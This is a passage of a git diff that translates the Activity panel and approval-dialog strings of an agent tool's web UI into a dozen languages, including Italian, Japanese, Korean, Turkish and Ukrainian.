"Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Activité", + subtitle: "Activité éphémère des outils dérivée des événements de session en direct.", + visibleCount: "{visible} sur {total}", + filtersLabel: "Filtres d’activité", search: "Rechercher", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Filtrer par outil, résumé, exécution, session", toolFilter: "Outil", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Tous les outils", + statusFilters: "Filtres d’état", + autoFollow: "Suivi automatique", + expandAll: "Tout développer", + collapseAll: "Tout réduire", clear: "Effacer", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Aucune activité d’outil pour le moment.", + emptyFiltered: "Aucune activité ne correspond à ces filtres.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 argument masqué", + argumentsHidden: "{count} arguments masqués", + streamLabel: "Entrées d’activité des outils", + toolCallId: "Appel d’outil", runId: "Exécuter", session: "Session", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Aperçu masqué et tronqué.", + noOutputPreview: "Aucun aperçu de sortie.", status: { running: "En cours d’exécution", done: "Terminé", diff --git a/ui/src/i18n/locales/id.ts b/ui/src/i18n/locales/id.ts index 094823d570d..a86c93017ff 100644 --- a/ui/src/i18n/locales/id.ts +++ b/ui/src/i18n/locales/id.ts @@ -363,7 +363,7 @@ export const id: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Kebijakan persetujuan yang berlaku mengharuskan persetujuan setiap kali, sehingga Izinkan Selalu tidak tersedia.", deny: "Deny", labels: { host: "Host", @@ -395,7 +395,7 @@ export const id: TranslationMap = { }, tabs: { agents: "Agen", - activity: "Activity", + activity: "Aktivitas", overview: "Ikhtisar", channels: "Saluran", instances: "Instans", @@ -417,7 +417,7 @@ export const id: TranslationMap = { }, subtitles: { agents: "Ruang kerja, alat, identitas.", - activity: "Browser-local tool activity summaries.", + activity: "Ringkasan aktivitas alat lokal browser.", overview: "Status, titik masuk, kesehatan.", channels: "Saluran dan pengaturan.", instances: "Klien dan node yang terhubung.", @@ -438,30 +438,30 @@ export const id: TranslationMap = { dreams: "Konsolidasi memori saat tidur.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Aktivitas", + subtitle: "Aktivitas alat sementara yang berasal dari peristiwa sesi langsung.", + visibleCount: "{visible} dari {total}", + filtersLabel: "Filter aktivitas", search: "Cari", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Filter berdasarkan alat, ringkasan, run, sesi", toolFilter: "Alat", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Semua alat", + statusFilters: "Filter status", + autoFollow: "Ikuti otomatis", + expandAll: "Perluas semua", + collapseAll: "Ciutkan semua", clear: "Bersihkan", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Belum ada aktivitas alat.", + emptyFiltered: "Tidak ada aktivitas yang cocok dengan filter ini.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 argumen disembunyikan", + argumentsHidden: "{count} argumen disembunyikan", + streamLabel: "Entri aktivitas alat", + toolCallId: "Panggilan alat", runId: "Jalankan", session: "Sesi", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Pratinjau disunting dan dipotong.", + noOutputPreview: "Tidak ada pratinjau output.", status: { running: "Berjalan", done: "Selesai", @@ -469,8 +469,8 @@ export const id: TranslationMap = { }, duration: { ms: "{count} ms", - seconds: "{count} s", - minutes: "{minutes}m {seconds}s", + seconds: "{count} dtk", + minutes: "{minutes}m {seconds}dtk", }, }, overview: { diff --git a/ui/src/i18n/locales/it.ts b/ui/src/i18n/locales/it.ts index a2eb07fba73..f970abeed5d 100644 --- a/ui/src/i18n/locales/it.ts +++ b/ui/src/i18n/locales/it.ts @@ -365,7 +365,7 @@ export const it: TranslationMap = { allowOnce: "Consenti una volta", alwaysAllow: "Consenti sempre", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Il criterio di approvazione effettivo richiede l’approvazione ogni volta, quindi Consenti sempre non è disponibile.", deny: "Nega", labels: { host: "Host", @@ -397,7 +397,7 @@ export const it: TranslationMap = { }, tabs: { agents: "Agenti", - activity: "Activity", + activity: "Attività", overview: "Panoramica", channels: "Canali", instances: "Istanze", @@ -419,7 +419,7 @@ export const it: TranslationMap = { }, subtitles: { agents: "Spazi di lavoro, strumenti, identità.", - activity: "Browser-local tool activity summaries.", + activity: "Riepiloghi dell'attività degli strumenti locali al browser.", overview: "Stato, punti di ingresso, integrità.", channels: "Canali e impostazioni.", instances: "Client e nodi connessi.", @@ -440,30 +440,30 @@ export const it: TranslationMap = { dreams: "Sogni della memoria, consolidamento e riflessione.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Attività", + subtitle: "Attività effimera degli strumenti derivata dagli eventi della sessione live.", + visibleCount: "{visible} di {total}", + filtersLabel: "Filtri attività", search: "Cerca", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Filtra per strumento, riepilogo, esecuzione, sessione", toolFilter: "Strumento", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Tutti gli strumenti", + statusFilters: "Filtri di stato", + autoFollow: "Segui automaticamente", + expandAll: "Espandi tutto", + collapseAll: "Comprimi tutto", clear: "Cancella", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Nessuna attività degli strumenti ancora.", + emptyFiltered: "Nessuna attività corrisponde a questi filtri.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 argomento nascosto", + argumentsHidden: "{count} argomenti nascosti", + streamLabel: "Voci dell'attività degli strumenti", + toolCallId: "Chiamata strumento", runId: "Esegui", session: "Sessione", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Anteprima oscurata e troncata.", + noOutputPreview: "Nessuna anteprima dell'output.", status: { running: "In esecuzione", done: "Completato", diff --git a/ui/src/i18n/locales/ja-JP.ts b/ui/src/i18n/locales/ja-JP.ts index ca3369a447d..267b4e7b947 100644 --- a/ui/src/i18n/locales/ja-JP.ts +++ b/ui/src/i18n/locales/ja-JP.ts @@ -366,7 +366,7 @@ export const ja_JP: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "有効な承認ポリシーでは毎回承認が必要なため、Allow Always は利用できません。", deny: "Deny", labels: { host: "Host", @@ -398,7 +398,7 @@ export const ja_JP: TranslationMap = { }, tabs: { agents: "エージェント", - activity: "Activity", + activity: "アクティビティ", overview: "概要", channels: "チャンネル", instances: "インスタンス", @@ -420,7 +420,7 @@ export const ja_JP: TranslationMap = { }, subtitles: { agents: "ワークスペース、ツール、ID。", - activity: "Browser-local tool activity summaries.", + activity: "ブラウザー内のツールアクティビティ概要。", overview: "ステータス、エントリーポイント、健全性。", channels: "チャンネルと設定。", instances: "接続されたクライアントとノード。", @@ -441,30 +441,30 @@ export const ja_JP: TranslationMap = { dreams: "スリープ中のメモリ統合。", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "アクティビティ", + subtitle: "ライブセッションイベントから生成される一時的なツールアクティビティ。", + visibleCount: "{visible} / {total}", + filtersLabel: "アクティビティフィルター", search: "検索", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "ツール、概要、実行、セッションで絞り込み", toolFilter: "ツール", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "すべてのツール", + statusFilters: "ステータスフィルター", + autoFollow: "自動追従", + expandAll: "すべて展開", + collapseAll: "すべて折りたたむ", clear: "クリア", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "ツールアクティビティはまだありません。", + emptyFiltered: "これらのフィルターに一致するアクティビティはありません。", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 件の引数が非表示", + argumentsHidden: "{count} 件の引数が非表示", + streamLabel: "ツールアクティビティエントリ", + toolCallId: "ツール呼び出し", runId: "実行", session: "セッション", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "プレビューは編集され、切り詰められています。", + noOutputPreview: "出力プレビューはありません。", status: { running: "実行中", done: "完了", diff --git a/ui/src/i18n/locales/ko.ts b/ui/src/i18n/locales/ko.ts index 85a42c413fa..2460d7e31a9 100644 --- a/ui/src/i18n/locales/ko.ts +++ b/ui/src/i18n/locales/ko.ts @@ -362,7 +362,7 @@ export const ko: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "유효한 승인 정책이 매번 승인을 요구하므로, 항상 허용을 사용할 수 없습니다.", deny: "Deny", labels: { host: "Host", @@ -394,7 +394,7 @@ export const ko: TranslationMap = { }, tabs: { agents: "에이전트", - activity: "Activity", + activity: "활동", overview: "개요", channels: "채널", instances: "인스턴스", @@ -416,7 +416,7 @@ export const ko: TranslationMap = { }, subtitles: { agents: "워크스페이스, 도구, 정체성.", - activity: "Browser-local tool activity summaries.", + activity: "브라우저 로컬 도구 활동 요약입니다.", overview: "상태, 진입점, 상태 정보.", channels: "채널 및 설정.", instances: "연결된 클라이언트와 노드.", @@ -437,30 +437,30 @@ export const ko: TranslationMap = { dreams: "수면 중 메모리 통합.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "활동", + subtitle: "라이브 세션 이벤트에서 파생된 임시 도구 활동입니다.", + visibleCount: "{visible}/{total}", + filtersLabel: "활동 필터", search: "검색", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "도구, 요약, 실행, 세션으로 필터링", toolFilter: "도구", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "모든 도구", + statusFilters: "상태 필터", + autoFollow: "자동 따라가기", + expandAll: "모두 펼치기", + collapseAll: "모두 접기", clear: "지우기", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "아직 도구 활동이 없습니다.", + emptyFiltered: "이 필터와 일치하는 활동이 없습니다.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "인수 1개 숨김", + argumentsHidden: "인수 {count}개 숨김", + streamLabel: "도구 활동 항목", + toolCallId: "도구 호출", runId: "실행", session: "세션", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "미리 보기가 마스킹되고 잘렸습니다.", + noOutputPreview: "출력 미리보기가 없습니다.", status: { running: "실행 중", done: "완료", diff --git a/ui/src/i18n/locales/nl.ts b/ui/src/i18n/locales/nl.ts index 7dace0f46e3..24a44e59fce 100644 --- a/ui/src/i18n/locales/nl.ts +++ b/ui/src/i18n/locales/nl.ts @@ -365,7 +365,7 @@ export const nl: TranslationMap = { allowOnce: "Eenmalig toestaan", alwaysAllow: "Altijd toestaan", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Het effectieve goedkeuringsbeleid vereist elke keer goedkeuring, dus Altijd toestaan is niet beschikbaar.", deny: "Weigeren", labels: { host: "Host", @@ -397,7 +397,7 @@ export const nl: TranslationMap = { }, tabs: { agents: "Agents", - activity: "Activity", + activity: "Activiteit", overview: "Overzicht", channels: "Kanalen", instances: "Instanties", @@ -419,7 +419,7 @@ export const nl: TranslationMap = { }, subtitles: { agents: "Werkruimten, tools, identiteiten.", - activity: "Browser-local tool activity summaries.", + activity: "Browserlokale samenvattingen van toolactiviteit.", overview: "Status, toegangspunten, gezondheid.", channels: "Kanalen en instellingen.", instances: "Verbonden clients en nodes.", @@ -440,30 +440,30 @@ export const nl: TranslationMap = { dreams: "Geheugendromen, consolidatie en reflectie.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Activiteit", + subtitle: "Tijdelijke toolactiviteit afgeleid van live sessiegebeurtenissen.", + visibleCount: "{visible} van {total}", + filtersLabel: "Activiteitsfilters", search: "Zoeken", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Filteren op tool, samenvatting, uitvoering, sessie", toolFilter: "Tool", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Alle tools", + statusFilters: "Statusfilters", + autoFollow: "Automatisch volgen", + expandAll: "Alles uitvouwen", + collapseAll: "Alles samenvouwen", clear: "Wissen", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Nog geen toolactiviteit.", + emptyFiltered: "Geen activiteit komt overeen met deze filters.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 argument verborgen", + argumentsHidden: "{count} argumenten verborgen", + streamLabel: "Toolactiviteitsvermeldingen", + toolCallId: "Toolaanroep", runId: "Voer uit", session: "Sessie", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Voorvertoning geredigeerd en afgekapt.", + noOutputPreview: "Geen uitvoervoorbeeld.", status: { running: "Actief", done: "Voltooid", diff --git a/ui/src/i18n/locales/pl.ts b/ui/src/i18n/locales/pl.ts index 2cdfd90bae6..115709c2035 100644 --- a/ui/src/i18n/locales/pl.ts +++ b/ui/src/i18n/locales/pl.ts @@ -364,7 +364,7 @@ export const pl: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Obowiązująca zasada zatwierdzania wymaga zatwierdzenia za każdym razem, więc opcja Zawsze zezwalaj jest niedostępna.", deny: "Deny", labels: { host: "Host", @@ -396,7 +396,7 @@ export const pl: TranslationMap = { }, tabs: { agents: "Agenci", - activity: "Activity", + activity: "Aktywność", overview: "Przegląd", channels: "Kanały", instances: "Instancje", @@ -418,7 +418,7 @@ export const pl: TranslationMap = { }, subtitles: { agents: "Obszary robocze, narzędzia, tożsamości.", - activity: "Browser-local tool activity summaries.", + activity: "Podsumowania aktywności narzędzi lokalne dla przeglądarki.", overview: "Status, punkty dostępu, stan.", channels: "Kanały i ustawienia.", instances: "Połączone klienty i węzły.", @@ -439,30 +439,30 @@ export const pl: TranslationMap = { dreams: "Konsolidacja pamięci podczas snu.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Aktywność", + subtitle: "Tymczasowa aktywność narzędzi pochodząca ze zdarzeń sesji na żywo.", + visibleCount: "{visible} z {total}", + filtersLabel: "Filtry aktywności", search: "Szukaj", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Filtruj według narzędzia, podsumowania, uruchomienia, sesji", toolFilter: "Narzędzie", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Wszystkie narzędzia", + statusFilters: "Filtry statusu", + autoFollow: "Automatyczne śledzenie", + expandAll: "Rozwiń wszystko", + collapseAll: "Zwiń wszystko", clear: "Wyczyść", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Brak aktywności narzędzi.", + emptyFiltered: "Żadna aktywność nie pasuje do tych filtrów.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "Ukryto 1 argument", + argumentsHidden: "Ukryto {count} argumentów", + streamLabel: "Wpisy aktywności narzędzi", + toolCallId: "Wywołanie narzędzia", runId: "Uruchom", session: "Sesja", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Podgląd zredagowany i skrócony.", + noOutputPreview: "Brak podglądu wyjścia.", status: { running: "Uruchomiono", done: "Gotowe", diff --git a/ui/src/i18n/locales/pt-BR.ts b/ui/src/i18n/locales/pt-BR.ts index 20bc3bd529d..813450e62a6 100644 --- a/ui/src/i18n/locales/pt-BR.ts +++ b/ui/src/i18n/locales/pt-BR.ts @@ -363,7 +363,7 @@ export const pt_BR: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "A política de aprovação efetiva exige aprovação todas as vezes, portanto Permitir sempre não está disponível.", deny: "Deny", labels: { host: "Host", @@ -395,7 +395,7 @@ export const pt_BR: TranslationMap = { }, tabs: { agents: "Agentes", - activity: "Activity", + activity: "Atividade", overview: "Visão Geral", channels: "Canais", instances: "Instâncias", @@ -417,7 +417,7 @@ export const pt_BR: TranslationMap = { }, subtitles: { agents: "Espaços, ferramentas, identidades.", - activity: "Browser-local tool activity summaries.", + activity: "Resumos de atividade de ferramentas locais do navegador.", overview: "Status, entrada, saúde.", channels: "Canais e configurações.", instances: "Clientes e nós conectados.", @@ -438,30 +438,30 @@ export const pt_BR: TranslationMap = { dreams: "Consolidação de memória durante o sono.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", - search: "Search", - searchPlaceholder: "Filter by tool, summary, run, session", + title: "Atividade", + subtitle: "Atividade efêmera de ferramentas derivada de eventos de sessão ao vivo.", + visibleCount: "{visible} de {total}", + filtersLabel: "Filtros de atividade", + search: "Pesquisar", + searchPlaceholder: "Filtrar por ferramenta, resumo, execução, sessão", toolFilter: "Ferramenta", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Todas as ferramentas", + statusFilters: "Filtros de status", + autoFollow: "Acompanhamento automático", + expandAll: "Expandir tudo", + collapseAll: "Recolher tudo", clear: "Limpar", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Ainda não há atividade de ferramentas.", + emptyFiltered: "Nenhuma atividade corresponde a estes filtros.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 argumento oculto", + argumentsHidden: "{count} argumentos ocultos", + streamLabel: "Entradas de atividade de ferramentas", + toolCallId: "Chamada de ferramenta", runId: "Executar", session: "Sessão", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Prévia redigida e truncada.", + noOutputPreview: "Nenhuma prévia de saída.", status: { running: "Em execução", done: "Concluída", diff --git a/ui/src/i18n/locales/th.ts b/ui/src/i18n/locales/th.ts index 64b51cd5bdc..d70fb7df3d2 100644 --- a/ui/src/i18n/locales/th.ts +++ b/ui/src/i18n/locales/th.ts @@ -361,7 +361,7 @@ export const th: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "นโยบายการอนุมัติที่มีผลบังคับใช้กำหนดให้ต้องอนุมัติทุกครั้ง ดังนั้น Allow Always จึงไม่พร้อมใช้งาน", deny: "Deny", labels: { host: "Host", @@ -393,7 +393,7 @@ export const th: TranslationMap = { }, tabs: { agents: "เอเจนต์", - activity: "Activity", + activity: "กิจกรรม", overview: "ภาพรวม", channels: "ช่องทาง", instances: "อินสแตนซ์", @@ -415,7 +415,7 @@ export const th: TranslationMap = { }, subtitles: { agents: "เวิร์กสเปซ เครื่องมือ และข้อมูลประจำตัว", - activity: "Browser-local tool activity summaries.", + activity: "สรุปกิจกรรมของเครื่องมือภายในเบราว์เซอร์", overview: "สถานะ จุดเข้าใช้งาน และความพร้อมใช้งาน", channels: "ช่องทางและการตั้งค่า", instances: "ไคลเอนต์และโหนดที่เชื่อมต่อ", @@ -436,30 +436,30 @@ export const th: TranslationMap = { dreams: "การฝันของหน่วยความจำ การรวมข้อมูล และการสะท้อนคิด", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "กิจกรรม", + subtitle: "กิจกรรมของเครื่องมือแบบชั่วคราวที่ได้จากเหตุการณ์เซสชันสด", + visibleCount: "{visible} จาก {total}", + filtersLabel: "ตัวกรองกิจกรรม", search: "ค้นหา", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "กรองตามเครื่องมือ สรุป การรัน เซสชัน", toolFilter: "Tool", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "เครื่องมือทั้งหมด", + statusFilters: "ตัวกรองสถานะ", + autoFollow: "ติดตามอัตโนมัติ", + expandAll: "ขยายทั้งหมด", + collapseAll: "ยุบทั้งหมด", clear: "ล้าง", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "ยังไม่มีกิจกรรมของเครื่องมือ", + emptyFiltered: "ไม่มีกิจกรรมที่ตรงกับตัวกรองเหล่านี้", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "ซ่อนอาร์กิวเมนต์ 1 รายการ", + argumentsHidden: "ซ่อนอาร์กิวเมนต์ {count} รายการ", + streamLabel: "รายการกิจกรรมของเครื่องมือ", + toolCallId: "การเรียกใช้เครื่องมือ", runId: "รัน", session: "เซสชัน", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "ตัวอย่างถูกปกปิดและตัดให้สั้นลง", + noOutputPreview: "ไม่มีตัวอย่างเอาต์พุต", status: { running: "กำลังทำงาน", done: "เสร็จสิ้น", diff --git a/ui/src/i18n/locales/tr.ts b/ui/src/i18n/locales/tr.ts index 9ead663f0f7..6cb56f93ff2 100644 --- a/ui/src/i18n/locales/tr.ts +++ b/ui/src/i18n/locales/tr.ts @@ -365,7 +365,7 @@ export const tr: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Geçerli onay ilkesi her seferinde onay gerektiriyor, bu nedenle Her Zaman İzin Ver kullanılamıyor.", deny: "Deny", labels: { host: "Host", @@ -397,7 +397,7 @@ export const tr: TranslationMap = { }, tabs: { agents: "Aracılar", - activity: "Activity", + activity: "Etkinlik", overview: "Genel Bakış", channels: "Kanallar", instances: "Örnekler", @@ -419,7 +419,7 @@ export const tr: TranslationMap = { }, subtitles: { agents: "Çalışma alanları, araçlar, kimlikler.", - activity: "Browser-local tool activity summaries.", + activity: "Tarayıcıya yerel araç etkinliği özetleri.", overview: "Durum, giriş noktaları, sağlık.", channels: "Kanallar ve ayarlar.", instances: "Bağlı istemciler ve düğümler.", @@ -440,30 +440,30 @@ export const tr: TranslationMap = { dreams: "Uyku sırasında bellek birleştirme.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Etkinlik", + subtitle: "Canlı oturum olaylarından türetilen geçici araç etkinliği.", + visibleCount: "{visible} / {total}", + filtersLabel: "Etkinlik filtreleri", search: "Ara", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Araca, özete, çalıştırmaya, oturuma göre filtrele", toolFilter: "Araç", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Tüm araçlar", + statusFilters: "Durum filtreleri", + autoFollow: "Otomatik takip", + expandAll: "Tümünü genişlet", + collapseAll: "Tümünü daralt", clear: "Temizle", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Henüz araç etkinliği yok.", + emptyFiltered: "Bu filtrelerle eşleşen etkinlik yok.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 bağımsız değişken gizlendi", + argumentsHidden: "{count} bağımsız değişken gizlendi", + streamLabel: "Araç etkinliği girişleri", + toolCallId: "Araç çağrısı", runId: "Çalıştır", session: "Oturum", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Önizleme gizlendi ve kısaltıldı.", + noOutputPreview: "Çıkış önizlemesi yok.", status: { running: "Çalışıyor", done: "Tamamlandı", @@ -471,8 +471,8 @@ export const tr: TranslationMap = { }, duration: { ms: "{count} ms", - seconds: "{count} s", - minutes: "{minutes}m {seconds}s", + seconds: "{count} sn", + minutes: "{minutes} dk {seconds} sn", }, }, overview: { diff --git a/ui/src/i18n/locales/uk.ts b/ui/src/i18n/locales/uk.ts index 19825baf2a0..a0636e2a1ec 100644 --- a/ui/src/i18n/locales/uk.ts +++ b/ui/src/i18n/locales/uk.ts @@ -364,7 +364,7 @@ export const uk: TranslationMap = { allowOnce: "Allow once", alwaysAllow: "Always allow", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Чинна політика схвалення вимагає схвалення щоразу, тому «Дозволяти завжди» недоступно.", deny: "Deny", labels: { host: "Host", @@ -396,7 +396,7 @@ export const uk: TranslationMap = { }, tabs: { agents: "Агенти", - activity: "Activity", + activity: "Активність", overview: "Огляд", channels: "Канали", instances: "Екземпляри", @@ -418,7 +418,7 @@ export const uk: TranslationMap = { }, subtitles: { agents: "Робочі простори, інструменти, ідентичності.", - activity: "Browser-local tool activity summaries.", + activity: "Підсумки активності інструментів, локальні для браузера.", overview: "Стан, точки входу, справність.", channels: "Канали та налаштування.", instances: "Підключені клієнти та вузли.", @@ -439,39 +439,39 @@ export const uk: TranslationMap = { dreams: "Консолідація пам’яті під час сну.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Активність", + subtitle: "Тимчасова активність інструментів, отримана з подій поточного сеансу.", + visibleCount: "{visible} з {total}", + filtersLabel: "Фільтри активності", search: "Пошук", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Фільтрувати за інструментом, підсумком, запуском, сеансом", toolFilter: "Інструмент", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Усі інструменти", + statusFilters: "Фільтри стану", + autoFollow: "Автоматичне відстеження", + expandAll: "Розгорнути все", + collapseAll: "Згорнути все", clear: "Очистити", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Активності інструментів поки немає.", + emptyFiltered: "Немає активності, що відповідає цим фільтрам.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 аргумент приховано", + argumentsHidden: "{count} аргументів приховано", + streamLabel: "Записи активності інструментів", + toolCallId: "Виклик інструмента", runId: "Запустити", session: "Сеанс", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Попередній перегляд відредаговано та обрізано.", + noOutputPreview: "Попередній перегляд виводу недоступний.", status: { running: "Запущено", done: "Готово", error: "Помилка", }, duration: { - ms: "{count} ms", - seconds: "{count} s", - minutes: "{minutes}m {seconds}s", + ms: "{count} мс", + seconds: "{count} с", + minutes: "{minutes}хв {seconds}с", }, }, overview: { diff --git a/ui/src/i18n/locales/vi.ts b/ui/src/i18n/locales/vi.ts index 59c4723c610..847ec265ac0 100644 --- a/ui/src/i18n/locales/vi.ts +++ b/ui/src/i18n/locales/vi.ts @@ -363,7 +363,7 @@ export const vi: TranslationMap = { allowOnce: "Cho phép một lần", alwaysAllow: "Luôn cho phép", allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + "Chính sách 